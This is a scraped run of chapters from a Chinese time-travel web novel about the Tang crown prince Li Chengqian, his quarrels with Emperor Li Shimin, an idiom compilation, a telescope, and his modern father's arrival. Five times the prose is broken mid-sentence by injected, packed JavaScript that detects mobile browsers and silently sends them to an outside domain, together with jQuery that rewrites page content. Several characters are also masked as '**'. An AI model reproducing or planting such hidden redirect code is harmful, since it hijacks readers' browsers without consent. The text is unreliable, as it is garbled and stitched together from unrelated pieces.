;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518444|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被毒死才敢上钩。” 魏征扶额,恨不能原地消失! 魏叔玉这个逆子,就是来跟他讨债的! “不是毒蛇,菜花蛇,没毒!” 长孙无忌补刀,“叔玉,这你就不懂了,无毒蛇才对,牙尖嘴利不怕被令尊大人毒死,又不至于把令尊大人毒到了。” 李承乾出来和稀泥,上前对着魏征拜了一拜,“师傅,学生要编一本成语大全,您把叔玉借学生用一段时间可好?” 魏征看了眼魏叔玉,冷哼道:“随时拎走,臣现在看着这个逆子就烦。” 李承乾笑道:“都说一日为师,终身为父。学生和叔玉现在真成了难兄难弟,师傅是不知道,陛下看学生也嫌烦。” 看个笑话还要躺枪,李世民瞬间炸了,“承乾,你可不能睁着眼睛说瞎话,朕何时看你嫌烦了?” “臣同李师傅学拳脚功夫,您那个嫌弃啊!臣都不想说,要是可以,您估计会一脚把臣踹出长安。” 李承乾挽着魏征胳膊,可怜巴巴道:“师傅,学生被嫌弃坏了,您收留学生几日可好?” 魏征笑道:“殿下驾临,蓬荜生辉,寒舍大门随时为殿下敞开。” 李承乾敢说,魏征你还真敢接话,李世民瞬间红温。 “李承乾,你给朕滚过来!” 看皇帝要上来抓人,李承乾赶紧挪到长孙无忌身后,吵架魏征这种刺客型选手,当之无愧的贞观第一,找坦克扛伤还得长孙无忌。 “舅父,陛下他要打死我,您可得救救我。” 长孙无忌被迫下场拉架,“陛下,太子这小胳膊小腿的,打坏了心疼的是您。心疼还是次要,怕他倒药您还得盯着他吃药。” 魏征:…… 皇帝真想打太子,在座没人拦得住,高士廉、房玄龄也跟着下场,“陛下千万开恩,咱们过来凑热闹,不就是听太子要编写成语大全,可不能打,打了太子正好歇了,岂非便宜了太子。” 眼看这么多人拦着,李世民冷哼一声,“你自己练的没眼看,朕还不想看呢!住到魏征家里,亏你说得出来。” 李承乾无语,皇帝这个反应,太没有幽默细胞了,就一个玩笑,给魏征解个围,至于吗? 第163章 应梦贤臣 长孙无忌捂着嘴偷笑,给房玄龄夫人的醋,合该端给李世民一碗。 “别搁这儿丢人现眼,住魏征家里,知道的你们师生情深,不知道还以为朕养不起儿子。” 李承乾嘟囔道:“陛下富有四海,没人敢说您养不起儿子。” 李世民:…… 长孙无忌心累,看着挺聪明的人,怎么就不长心眼儿,知道给魏征解围,不知道哄一哄李世民? 接到便宜舅父的眼神儿,李承乾愣是没反应过来,李世民看着这舅甥眉来眼去,心下即是火大,也是无奈。 房玄龄开口解围,“昨儿卫国公家大郎上门,说是太子殿下要编写成语大全,要首批参与《贞观字典》编撰的人,巳时到崇贤馆报到。臣等实在好奇,下了早朝就央求陛下来东宫。” 贞观第一相,哪怕有过结,也不能得罪,李承乾笑盈盈的道:“此前编撰字典,陛下批了五个月的假,我只用了三个月,赋闲在东宫实在闷得很,昨儿去卫国公府上摸山君,他家大郎君也是闲得发慌,我就想着找点儿事做。” 众大臣不言,只一味想着自家那糟心儿子。 “诸位郎君在崇贤馆只是挂虚职,原不必每日到崇贤馆当值,诸公若有其他安排,我不强求的。” “怎么会,太子殿下能用的上他们,是他们求都求不来的福气。” 张公瑾笑的满脸褶子,自家儿子又不是什么才高八斗的大才子,有一个天赋异禀的人,愿意带自家儿子出人头地,他们哪里会不愿意。 “是啊!”程知节也跟着帮腔,“太子殿下要是人手不够,臣家里那几个您随时拎来用,一句话的事情,他们要是敢不听您调遣,老臣把他们吊在树上打。” 李承乾听得直摇头,太暴躁了! “卢国公,这个不至于,真不至于,我就是闲来打发时间,找几个人聊天解闷。” 李世民没好气道:“你要是闲得发慌,就去陪三省长官议政,去两仪殿帮朕批奏疏。” 李承乾听明白了,皇帝这是心情不痛快,来东宫撒气,得小心伺候。 “陛下,您批了臣假期的。满朝文武皆是见证,君无戏言。” 长孙无忌暗暗摇头,什么叫做子不知父,父不知子,这就是了。 李世民在主位上落座,李承乾照例侍奉在皇帝左侧下首。 “批假是让你好好休息,养身子的,你一天就不能闲闲?实在觉得烦闷,出去走走也行。” 李承乾想哭,出去走走?吃灰吗? 没有电子产品,没有网,能看的书籍种类也有限,待在家里很痛苦的。 “陛下,闲着没事儿做也很难受的。出去走走,外面也没什好逛的。” 李世民沉默片刻,当下与未来到底是不一样的,李承乾无聊也正常。 “你想编书随你,朕只有一个要求,不要过分劳累,你的身体幼时就不太好,保重自己身子,别累坏了自己。” 李承乾点头应下,又道:“陛下,臣有话同您私下说,原本是要去甘露殿,可您过来,那就不必臣跑一趟了。” 李世民暗道:早知道他就不跑这一趟了! “时候不早了,回去歇上一时半刻,就要去两仪殿参加朝议,诸公先行一步,朕随后就到。” 众大臣相继离开,李承乾向众人道:“诸君所司职分,已经划分清楚,我都贴在屏风上了,你们自己去看。” 一路行至显德殿,李承乾从多宝阁上取来自己绘制的火炮零件图,还是明末清初的火炮。 “算起来三四百年没做过了,好在都还记得,您让少府监照着图纸制造。” 李世民端详着图纸,道:“你直接把图纸交给少府监就行了,你的品性朕再清楚不过,你不必这般谨小慎微。” 李承乾道:“臣去少府监了,他们说火器制造相关,必须由陛下手诏。” 李世民:…… “承乾,这个……” 李承乾道:“挨了冷箭不一定要命,挨了一火炮尸首不全,您谨慎些是应该,不用解释,臣都理解。” “你理解个什么呀?你理解!”李世民解释道:“朕是不许无关紧要人等涉及火器制造,他们是听不懂人话,把你拒之门外了。行了,那些人朕来收拾,你不用管了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519561|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “您不会是去少府监找麻烦吧?”李承乾摇头,“人家奉命行事,忠于自己的职责,维护的是陛下的安危,您若下令处罚,往后谁还敢忠君护主?” 李世民道:“承乾,你真的不气恼有人少府监把你拒之门外?” 李承乾笑道:“臣又不是少府监工匠,也不是少府监有司官员,本来就属于无关紧要的人员,人家忠于职守,臣为何要气恼?” 李世民十分欣慰,仍怕李承乾误会,又解释道:“承乾,你被少府监拒之门外,完全是个意外,为父没有防备你的意思。尉迟宝琳同你交好,杜荷人品且不谈,追随你却是真心实意,为父都以你的名义把他们送出去历练了,等他们做出一番事业,你再把他们召回京师,他们必定会对你忠心不二。” 李承乾抿嘴轻笑,看样子此前互换,初始化版本的他,折腾的皇帝不轻,搞得皇帝都成了惊弓之鸟。 “李德謇为人稳重,为父原本也想历练一二,可他实在没什么大才,充其量也就只能编书了,还做不了主编的。魏叔玉年纪尚小,看不出好歹,且等上两年,为父慢慢替你安排。程处亮,跟他父亲一个德行,滑得鱼一样,能不能用还要再看。” “苏烈和薛仁贵,您还有印象吗?” 李世民道:“你要这两个人吗?” 李承乾摇头,皇帝现在对他处处扶持,只是因他弱小无力与皇帝抗衡,他要是主动要人,皇帝指不定怎么想,真等他能够同皇帝分庭抗礼的时候,他跟皇帝仍旧会剑拔**张。 “高句丽之战,需要这两个人。华夏历史书的惯性,胜仗一笔带过,败仗大写特写,所以后人只知道此二人在剿灭高句丽的过程中发挥着巨大作用,他们在战争中具体用了什么策略一概不知。” 李世民沉思片刻,“朕只对薛仁贵有印象,苏烈没什么印象。” 李承乾点点头,表示理解,唐初将星如云,帅才成群,苏烈这种猛将放在唐初也被埋没了大半生。 “苏烈在朝暂且不提,薛仁贵倒是可以提前征召。理由臣都替您想好了,您就说上天托梦,他是您的应梦贤臣。” 第164章 好的不真实 “应梦贤臣?” 上次打吐谷浑筹集军费,是什么高祖托梦。 这一次征召薛礼,来了个应梦贤臣。 李世民含笑看着李承乾,“瞎话张嘴就来,都不打草稿,你们后世之人真会玩儿啊!” 李承乾轻笑,两手一摊,“周文王梦飞熊,于渭水遇太公,出岐山定周朝八百年天下。陛下得薛礼、苏烈定辽东。前人有了路,后人学着走就是了。” 李世民笑道:“听承乾的。” “这一沓是船只的构造图,有专供兵员搭乘,辎重补给的船只,也有负责冲锋的船只。” 李承乾将图递给皇帝,“陛下若有心维护海上贸易,有一支强大的水师,势在必行。可惜了,臣没有问过我爸有关海军训练,不然的话还能帮您更多。” 李世民拿着图若有所思,问道:“承乾,你还会离开这里吗?” 这话问懵了李承乾,谈正事突然多愁善感起来了,他知道李世民是一个情感很丰富的皇帝,但这也太跳脱了吧? 李世**味深长看着李承乾,一个闲不下来的人,靠编书、种地打发时间,不存在好逸恶劳,疏懒朝政。 李承乾的见识产生的欲望,倾尽这个时代之力都无法复刻。因为知道是无用功,所以李承乾几乎没有欲望。 这样的储君,实在是太适合大唐了。 “陛下,为何这样问?” 李世民招手示意李承乾坐到自己身边来,“承乾,阿耶是真心希望你留下来。” 李承乾道:“走不走,臣也说不好。” “高先生他已经得了朕另一个承乾,还要把你带走,他不能这么做。” 李承乾沉默片刻,郑重问道:“陛下,倘或臣的寿数止步于贞观十七年十一月呢?” 殿内落针可闻,李世民心情沉重,他不擅长教育,承乾真的折在贞观十七年,意味着他要重新择定储君。 “还有四年,臣的生死大关,过了倒罢了,若过不了那是天命,非人力可改。” 李承乾望着八宝阁,语重心长道:“臣只希望在有限的时间内,用尽臣毕生所学,不枉臣来这一遭。” 李世民轻拍李承乾肩膀,声音哽咽,“朕的承乾一定会长命百岁。” 又要哭? “陛下,臣去崇贤馆了!” 李承乾对着皇帝拜了一拜,不等皇帝点头,拔腿就跑。 刘玄德只是演义里爱哭,李世民是正史盖章的爱哭。 跑的也太快了,李世民捏着图纸在原地凌乱,半晌才缓过来。 李承乾怕他哭! 哈! 发现了新天地,李世民心情大好! 李承乾半步不敢停,直奔崇贤馆方才松了口气。 “殿下,您来了!” 众人起身迎了上去,《贞观字典》发行之后,这一种二代出门可是倍有面子,故李承乾提出编撰成语大全,众人说不出的配合。 “殿下可算来了,我们已经找了几十个成语,殿下再不来,可要赶不上进度了。” 李承乾笑笑不语,他学了将近千年,很多成语早就烂熟于心,莫说他们只找到几十个,就是几百个,他也不存在赶不上进度。 唐代棉花种植尚未普及,棉袄的材料主要是木棉和芦花,贵族以动物毛皮为主。 皇帝攻打高句丽,提高军队御寒能力,战局可能又会不一样,装备也是单兵素质的组成部分。 四月中旬正是播种棉花的季节,李承乾命东宫家令外出采买棉子。 光天殿、承恩殿、西池苑几处原本绿化之前被改做菜地。 三月出了换魂的插曲,菜没种下去,现下松了土全部种上棉花。 长孙无忌照例来东宫打卡,之前种菜,现在是种棉花,种稻子,好好的东宫被祸祸的完全看不出原来的样子,半点不像是一朝太子住的地方。 朝廷以农耕为本,不是没想过李承乾作秀给皇帝看,但李承乾耕种的熟稔程度,完全推翻了长孙无忌的猜测。 “承乾,他真的是皇家金尊玉贵养出来的太子吗?” 骤然听到长孙无忌这一问,李世民喝茶的动作停顿片刻,却又在意料之中,不知李承乾底细之前,他李世民也有过这样的疑惑。 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“说不清,就是一种直觉,他不太像是皇家能够教养出来的太子,臣总觉得,太子他……” 于这世间留不长久,可这话太过造次,哪怕是国舅的长孙无忌,也不敢宣之于口。 “他如何?” 李世民目光凌厉,紧紧盯住长孙无忌,一字一句问道:“说,朕恕你无罪。” “陛下……” 长孙无忌踌躇良久,最后默然摇头,不肯说出下言。 李世民道:“朕来说,太子他可能留不住!” 长孙无忌瞳孔猛的一缩,诧异的看向李世民,半晌,他吐出一口浊气,“太过美好的人或物,总是很难长久,所以人总会感慨物是人非,会有无尽的遗憾。” 李世民脸色凝重如山岳,周身的低气压,压的人喘不过气来。 “朕是天子,谁也不能带走朕的太子。” 他的另一个承乾被姓高的带走了,姓高的要是敢来拐带这一个承乾,就算承乾恨他,他也一定会把那姓高的一片片活刮了。 第165章 师生 “原来陛下也有同感,不过陛下维护承乾,所能威胁承乾去留的就只是生死寿夭。” 李世民闻言一怔,看着长孙无忌若有所思,所以当初李承乾孤立无援,连舅父长孙无忌都不肯施以援手,是因为笃定了他必定废太子。 长孙无忌被看的起了一身鸡皮疙瘩,道:“臣也就是说说,兴许是杞人忧天。” “走,去东宫看看承乾,朕有两三日没去看承乾了。” 长孙无忌默了默,小心劝道:“臣猜陛下两三日不去东宫,跟贬了青雀为越王,取消了他身上越制的荣宠有关。您心里头不痛快,故臣觉得这会子,您还是不要去东宫的好。” 李世民:…… “朕这两天没去东宫,一来是吐蕃来朝事务繁忙,二来河南道和淮南道大部分州县久旱不雨烦心,跟青雀有什么关系?” 长孙无忌道:“陛下和承乾几次冲突,基本和青雀有关,臣就是提醒您。” 李世民神色愤愤,“朕是看明白了,你们一个个都觉得朕偏心青雀,苛待承乾。” “陛下,不是臣等觉得您偏心承乾,是您之前所作所为,让众大臣以为您不喜太子,甚至要废黜太子。” 李世民:…… “朕何时说要废黜太子了?朕的名声,就是给你们这么揣测坏的。” 长孙无忌敛着眸子,不慌不忙开口:“知道陛下想要什么,顺着陛下的天心行事。陛下贤德,流传给后世就是明君贤臣的典范。古往今来的为臣之道,就是揣测君心。” 这话听得李世民心中极其不痛快,却也知长孙无忌所言,正是数千年来君臣相处之道。 “不会揣测君心,只凭良心为官的臣子,不会有什么好下场的。政事上承乾能同陛下想到一处,也只是政事上。” 李世民道:“辅机的意思,太子只是太子,要朕不要苛求他为人子。” 长孙无忌点头,自他做了太子詹事以来,时常旁观这对父子相处,李承乾做太子那是没有任何问题,做儿子不提了。 “承乾对陛下,内里总带着疏离,陛下没动手,是怕把那瓷娃娃碰碎了,若没有这个忌讳,承乾都不知道要挨多少顿打。” 李世民笑道:“走,去东宫,卫国公和玄成一早就进宫了。卫国公倒罢了,这个魏征,休沐日不在家里好好待着,跑东宫瞎转悠,就会带坏承乾。” 长孙无忌笑而不语,李世民几次挖苦魏征,都是李承乾出面解围,李世民看魏征不顺眼太正常了。 “明日敬德父子出征,朕打算让承乾在承天门在,代朕为大军饯行。” 长孙无忌点头,未来不知如何,眼下尉迟宝琳是李承乾心腹,李世民此举本就是给李承乾培养人手,由李承乾为大军饯行再好不过。 东宫三少,李承乾同魏征交好,因教习武事的缘由,他和李靖私交也极其不错。 皇帝和长孙无忌来了,李承乾和魏征、李靖师生忙起身见礼。 众人落座,李世民被案上一道茶点吸引。 “这道点心看着新奇。” 李承乾解释道:“太子妃有孕怯夏,臣让宫人做了些新奇点心给她。今日师傅进宫,想着师傅会喜欢,就让宫人端上来了。” 社会生活水平提高,饮食文化迅猛发展,二十一世纪的甜品,集历代之所长,已然达到了空前水准。 李承乾伸手拦了魏征取雪团子的动作,“师傅,这东西糯米粉做的,不容易消化,仔细胃里难受。” 魏征讪讪的收回手,“也没吃多少,太子殿下越来越小气了。” 李靖在一旁吐槽:“玄成,这一碟子装了八个,我吃了一个,太子殿下一个没吃,碟子里就剩下一个了。” 长孙无忌满脸堆笑,看向魏征,“玄成除了醋芹外,还有别的喜好啊?” 魏征面上带笑,主打一个他不尴尬,那尴尬的就是别人,“就剩一个了,陛下和国舅谁吃都不合适,不如我吃了。” 李承乾道:“典膳那里还有,吴顺去拿了。师傅,叔玉每日都要来东宫,您喜欢吃,我让典膳做好,到时候叔玉带回去给您。” 魏征暗道:东西给魏叔玉,还有他吃得吗? “以前不怎么喜欢甜食,年纪大了,反倒是喜欢上甜食了。” 李承乾表示理解,甜食能带来愉悦感,魏征这种日理万机的天选牛马,吃甜食可以缓解压力。 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“当初臣说臣教不了太子殿下,是谁硬要臣出任太子少师?”说到这里,魏征看向一旁看戏的长孙无忌,“国舅,您当时在场的,您说是谁要我出任太子少师的?” 瓜吃得好好的,突然被拉入战场,长孙无忌似笑非笑看着魏征,“玄成,你要是不做太子少师,还能这么明晃晃的来东宫蹭吃蹭喝吗?” 李世民连忙接过话茬,“是啊!魏征,你看,朕给了你来东宫蹭吃蹭喝的机会,你不谢朕就罢了,还觉得自己委屈,天下有这样的道理吗?” 李承乾是发现了,皇帝和长孙无忌聚到一起,联手挖苦魏征,已经成了一种优良传统。 “夫子曰:有朋自远方来,不亦乐乎!如今是,有师自宫外来,学生甚乐之!何也?自古以来,学生不肖师傅厌之,师傅不上门,师傅委不委屈难说,学生真的委屈。” 李世民看向李承乾,有种想把李承乾踹出去的冲动。 眼看爆发战火,李靖赶紧出来打圆场。 “申国公族侄高慎微不惑之年,英年早逝,灵堂上诈尸了,眼下长安城都在议论此事,这**三天的人,怎么就突然活了。” 第166章 出宫受限 高慎微! 李世民回忆过往,他记得这号人物应该是死透了,怎么就突然起死回生? 片刻的思索过后,老匹夫三个字险些脱口而出。 李世民低头抿了口茶水,压下心中暗涛汹涌,姓高的老匹夫,真敢来啊! 老爸来了! 李承乾欣喜与恐慌瞬间涌上心头,喜的是老爸真的来找他了,恐慌的是皇帝这一关不好过。 皇帝要是知道老爸来了,还想要带他走,怕是会直接物理对掏。 “承乾,明日大军出征,你代朕为大军饯行。” 突然被点名,李承乾有些懵,“臣吗?” 李世民十分认真的点头,“有问题吗?你这个小胳膊小腿,朕不好动鞭子,可也有的是法子教训你,你尽管怠政。” 皇帝这怒火来的突然,李承乾一头雾水。 苛责来的莫名,魏征道:“陛下,您批了假期,太子殿下心存疑惑合情合理,况且太子殿下也没说不去,怎么就扯上怠政了?” 长孙无忌看向李世民,也是一脸的不解,李世民动怒了,但怒从何来? 李承乾维护魏征,见怪不怪,这也不是第一次啊? “人家养儿子都是为父分忧,朕养你这个白眼狼,让你干点儿活推三阻四。” 无妄之灾,不能再让魏征和皇帝争下去,李承乾向皇帝拜了一拜,“陛下信重,臣自当鞠躬,尽瘁死而后已。” “呵!” 李世民冷哼一声,好一个死而后已,**之后,好早些回到未来,跟那个姓高的父慈子孝? 皇帝脸色不愉,李承乾大致猜出为了什么,也瞬间窝了一肚子火。 李泰由魏王降为越王,还被撸了身上逾制的封赏,皇帝心里头不痛快,就说皇帝这人无事不登三宝殿。 李承乾很委屈,设套子坑李泰是皇帝本人,初始化版本的他还就此事劝过皇帝,不要这样对李泰。 皇帝没听他的,执意要坑自个儿爱子,现在爱子受了委屈,自己心疼,就跑来作践他,他是什么冤种吗? 战火之外的魏征、长孙无忌、李靖三人察觉到皇帝身上的低气压,不是同太子维护魏征有关。 长孙无忌都无语了,来之前就提醒过皇帝,不要因为李泰的事情和李承乾起冲突,结果白说了。 魏征默默打扫了碟子上最后一个雪团子,换做平常,他肯定就开口了,可眼下窗户纸没捅破,叫他给捅破了,这对父子关系指定更僵,思来想去,他还是决定闭嘴。 李承乾眼尖瞥见魏征吃雪团子,被抓包了,魏征尴尬一笑,默默低头吃。 老顽童,李承乾低声吩咐了吴安两句。 吴顺端来了一碟子新的雪团子。 “陛下,您尝尝这个茶点如何?” 长孙无忌深吸一口气,这个缺心眼儿的大外甥,总算不是太缺心眼儿,知道先招呼皇帝进膳。 “太子求着朕吃,朕当然得给太子面子。” 李承乾&长孙无忌&魏征&李靖:…… “师傅,您不能再吃了,我让吴安拿了山楂煎樱桃煎过来,酸酸甜甜的合您的口味,还很是开胃。” 雪团子突然就不香了,他的儿子怎么老是围着魏征转? “太子,你要是闲得慌,朕可以给你安排些政务。” 李承乾叹气,实在是太理解崇贤馆那堆苦命娃,休沐日天不亮就来打卡,家家都有难缠的老子,都是同病相怜。 李靖下场和稀泥,“陛下,您快尝尝这茶,香醇悠远,别有一番风味。” “是啊!”长孙无忌接了李靖的话道:“不知太子做了多少,还有吗?今年是不行了,明年,明年我也做一些,留着慢慢儿喝。” “三十斤茶叶,做了六斤左右的干茶,给舅父包了一斤,魏师傅和李师傅各有一斤,剩下的不多了。” 老高过来了,剩下三斤多留给老爸! “剩下的朕全部拿走了!” 李承乾:…… “什么?”李承乾不可思议的看着李世民,“您喝的惯这茶?” 李世民冷哼一声,喝的惯喝不惯是小事,就是不想留给那个姓高的。 “朕全都要,你自己看着办!” 李承乾深吸一口气,他不给,就不信皇帝能抢。 气氛太诡异了,长孙无忌等人一刻都不愿意待下去,相继告辞离去。 “陛下,臣没得罪您吧?” 李世民笑道:“没有?” 李承乾道:“那臣明白了,是因为青雀,陛下处罚了青雀,心里头不舒服臣都能理解。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525414|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李世民冷笑,明白个什么明白,自作聪明的兔崽子。 “茶叶朕拿走了,随你怎么想!” 李承乾望着案上的茶水,皇帝只抿了一口就原封不动的放下。 “您又喝不惯,拿去也是放在哪里发霉,臣做来不易,您为何要拿去糟蹋?” 李世民将案上的茶水一饮而尽,“朕保证,糟蹋不了,剩下的,朕全部拿走。” “您这般气恼,就是为了臣没有上疏求您饶恕青雀?” 李世民重重地拍了下案子,眼中一道凛冽杀气闪过。 老板心里头不痛快,找员工麻烦,古今都是这样,李承乾强行安慰自己。 “臣知道了!” 皇帝刚才动了杀心,十分浓烈的杀意,哪怕只是一闪而过,也让人无法忽视。 “陛下方才,想杀了臣?” 父子四目相视,李世民骂了一句,“蠢东西!” “臣当然蠢,不及雉奴聪慧,换做雉奴,肯定就上疏为青雀求情了。” 李世民:…… “明日为大军饯行,你自己好生准备。” 言罢,李世民霍然起身,拂袖而去。 茶叶李承乾说什么都不给,李世民也不强求,旋即下了口谕:从今往后,太子出宫必须有皇帝手诏。 无端被夺了出入宫禁的权利,李承乾心下烦躁,一股无明之火直燃起来。 饯行时间定在辰时,太阳初升。 李承乾身着朝服,着实出现在承天门,第一次代皇帝干这种事情,业务还不太熟,但有人指点,任务完成的也算圆满。 尉迟宝琳突然驱马赶回来,“殿下,您的成语大全千万编撰的慢一些,等我攻下高昌,立刻快马加鞭的回来给您帮忙。刚才我那老爷子在这儿,我不敢说。” 李承乾含笑应下,尉迟宝琳这才纵马离开,百官目送大军离开长安。 李世民站在最前面,脸色冷肃,周身气压低沉,每一个毛孔都散发着生人勿近的危险气息。 “陛下,臣想出宫走走?” 去高家吗? 没门儿!不!窗都没有! “堂堂太子,整天出去不三不四的鬼混,像什么样子。” 皇帝的心情依旧差,李承乾只能偃旗息鼓,等待下一次时机。 第167章 望远镜 甘露殿气压低沉,苦了伺候的一众人,李世民枯坐了半晌,唤了张阿难进殿。 “从朕的私库再划一万钱给太子,照例掺在他的俸禄发下去。” 他不可能杀了姓高的,真把姓高的活剐了,这个李承乾的疯癫程度,不会比另一个李承乾差。 “算了,划两万钱给他。你告诉他,朕就是心情不痛快,不是为了青雀迁怒于他。” 张阿难叹了口气,上前劝道:“陛下为天下苍生殚精竭虑,太子殿下对苍生有怜悯之心。陛下的苦楚,太子殿下不会不知的,您还是……” 李世民抬手示意张阿难退下,另一个李承乾同他说过,姓高的过来,要么带走李承乾,要么在这里陪着李承乾。 李承乾作为太子,是超乎寻常的合格,他绝不允许姓高的带走大唐的太子。 高慎微要是没那个本事带走李承乾,只是要陪着李承乾,那就是皆大欢喜,他可以对高慎微委以重任,封爵赏赐绝不吝惜。 不,人心易变,他如何能够断定,高慎微不会趁他不备,出其不意带走李承乾? 李承乾若不是太子,只是一个王爷,他可以忍痛割爱,让高慎微把李承乾带走,成全李承乾想要的生活。 事不由人,君王和父亲,二者远其一,他可以不是一个好父亲,可君王必须留下合格的继承人。 李承乾窝着一肚子火,在东宫辗转反侧,越想越觉得窝火,可一想着他来这里之前,老爸的嘱托,他硬生生压下去甘露殿找皇帝干架的冲动。爱护自己的身体,不做无所谓的牺牲。 东宫的动向,李世民时刻关注,得知李承乾被训斥过后,没了出宫的打算,只问内廷司要了四块透明的琉璃。 太子要,内廷司不敢不给,可琉璃实在珍贵,透明的琉璃更是少之又少,地方贡品,必须有帝后首肯才能出库,宫中没有皇后,就只能上报给皇帝。 李世民大手一挥给了,又不是什么上天入地的请求,四块石头而已,苏氏怀胎将近七月,多半是李承乾要给即将出世的孩子准备礼物。 一个人磨镜片效率太慢,李承乾把标准给了少府监,直接吩咐少府监的官员去磨。顺便也将自己想要的零件画了下来,吩咐少府监制作。 半个月左右,少府监将磨好的镜片和制作的零件送过来,李承乾小心组装,调整焦距,登上阙楼远望。 李承乾只觉得惭愧,之前打吐蕃他怎么没想到望远镜这玩意儿。 尉迟恭打高昌,他也没想到,此刻拿着望远镜,竟是为了讨好皇帝,获取出宫的机会。 测试好望远镜,李承乾回到东宫,换了衣裳去甘露殿拜见皇帝。 难得李承乾主动过来拜见,李世民怀着忐忑的心情召见了李承乾,轮回之后的李承乾,比起另一个李承乾,还是很有修养的,不至于口无遮拦的胡来。 “陛下,臣过来是有一件礼物送陛下。” 送礼? 李世民表示有些受宠若惊! “是茶叶吗?” 李承乾摇头,当然不是,皇帝又不喝红茶,送什么茶叶? 退一万步讲,就算皇帝喝茶,红茶也是留给老高的,皇帝想要也得等明年! “望远镜,借助此物,几百米开外的人或物,近在眼前。” 有此神物? 李世民大踏步上前,接过李承乾手里的望远镜,似乎不太相信这么个小东西,能看到几百米开外的人或物。 “上阙楼试一试,陛下就信了。” 儿子过来送礼,就是没用,也得捧场,李世民当即带着李承乾上了阙楼。 “不可对着太阳直视,会灼烧眼睛的,不要看太近的东西,伤眼睛。” 李世民点点头,表示知道了,旋即照着李承乾的指导,调整焦距,眺望长安城。 “有这么好玩儿的东西,你怎么不早说,都说千里眼,朕今日方知什么是千里眼。” 看皇帝心情不错,李承乾提出要求,“臣要出宫!” 李世民的笑容僵在嘴角,就知道这崽子,给他献殷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530505|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勤准没好事儿。 “承乾一向不怎么喜欢出宫,宫外有什么吸引你的?” 李承乾笑了笑,“臣一开始觉得陛下因青雀受罚迁怒于臣,后来想想不对,另一个臣同陛下说过,我爸会来,臣能想到的事情,陛下怎会想不到?” 李世民收了望远镜,缓缓转身看向李承乾,“咱们父子一直都是装糊涂的高手,这件事情,咱们可以继续装糊涂。” 李承乾道:“陛下直接取消臣出入宫禁的权力,可没打算装糊涂。” “李承乾!”李世民说话语气重了几分,面露不虞,“为父不想揍你,别逼为父动手。” “另一个臣那么疯癫,说话半点不留余地,陛下小心捧着他,轻易连一句重话都不说。青雀和雉奴,陛下从来都是哄着的。臣以礼相待,陛下动辄打骂,是为什么?” 看皇帝不说话,李承乾冷笑一声,“看,您心里也没把臣当做儿子,不是吗?” “承乾,你……”李世民拂袖长叹,“高柏能让你上天入地,那高慎微能给你什么?你为什么非要出宫?朕不管管你,你是不是还打算一去不回?大唐丢了个太子,你要朕如何给朝野一个交代?” “家父不是那种人,臣说臣要回来,他亲自送了臣回来,又怎么会强迫臣和他回去?” “当着朕的面,称呼那姓高的为家父,你觉得合适吗?” 李承乾深吸一口气,“对子杀父就合适了?那日,陛下的杀意是冲着家父去的,陛下要是敢伤害家父,臣就提剑在玄武门自尽。” “朕不管你怎么说,乖乖待在东宫。” 李承乾冷冷道:“那臣就拿**横在脖子上闯出去,臣就看谁有那个胆子敢让太子血溅宫门。” 父子目光在空中交汇,霎时间火花四溅,李世民心下苦笑,他的儿子,只有在剑拔**张的时候才有几分他的影子,真是他李家的种! “朕可以许你出宫,甚至可以许高慎微入朝为官。承乾,希望你记住肩上的责任,不要让朕为难。” 第168章 两个父亲的对决 “多谢陛下成全,臣回去下帖子到高家,明日出宫拜见,请陛下提前知会戍卫的甲士。” 李承乾对着皇帝拜了一拜,步履轻快下了阙楼,一路往东宫的方向去。 看着欢呼雀跃的太子,李世民眼底的温度越来越低。这么久了,他也该会会这个高慎微了,到底是个什么人物,能让他的太子死心塌地。 高家 高柏穿过来二十多日了,来之前做足了功课,唐朝的官话,人际称呼,全都没有任何问题。 唯一让他感觉到难受的就是,他没有原主的记忆。不过,“起死回生”本就是传奇,丢一些记忆很正常。 高慎微,渤海高氏的旁支。 